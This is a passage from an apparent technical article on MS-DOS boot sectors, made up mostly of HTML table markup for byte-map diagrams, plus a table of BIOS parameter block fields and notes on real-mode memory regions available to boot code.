      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
      </tr>
    
    </tbody>
  </table>
  <div class="caption">Free and reserved bytes in an MS-DOS boot sector (1 B per square)</div>
</div>

<p>The BIOS parameter block contains important information about the layout of the filesystem. Here is a table describing its layout:</p>

<div class="dos-boot-sector-parameters"></div>

<table>
  <thead>
    <tr>
      <th>Length</th>
      <th>Name</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2</td>
      <td>Bytes per sector</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Sectors per cluster</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Number of reserved sectors</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Number of file allocation tables</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Number of root entries</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Number of sectors (if &lt; 65 536)</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Media descriptor</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Sectors per file allocation table</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Sectors per track</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Number of heads</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Number of hidden sectors</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Number of sectors (if ≥ 65 536)</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Disk drive index</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Reserved</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Volume signature</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Volume ID</td>
    </tr>
    <tr>
      <td>11</td>
      <td>Volume label</td>
    </tr>
    <tr>
      <td>8</td>
      <td>Volume type</td>
    </tr>
  </tbody>
</table>

<p>The CPU will be in real mode when the boot sector is loaded. This means we can only use 16-bit opcodes and address up to 1 MiB of memory. The first 640 KiB are available to our program while the remaining 384 KiB are used for assorted system-specific purposes. These memory areas are known as conventional memory and the upper memory area, respectively.</p>

<p>Some parts of conventional memory are reserved by the system. The first 1 024 B are used for the interrupt vector table and the next 256 B are used for the BIOS data area. Also, recall that the boot sector is loaded in 512 B in [0x07C00, 0x07E00). We can safely use 29.75 KiB B in [0x00500, 0x07C00) and 480.5 KiB in [0x07E00, 0x80000) for a total of 510.25 KiB. There are also 128 KiB in [0x80000, 0xA0000), but some systems consume part of this region for the extended BIOS data area.</p>

<div class="dos-boot-sector-table">
  <table>
    <tbody>
    
    
      <tr>
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
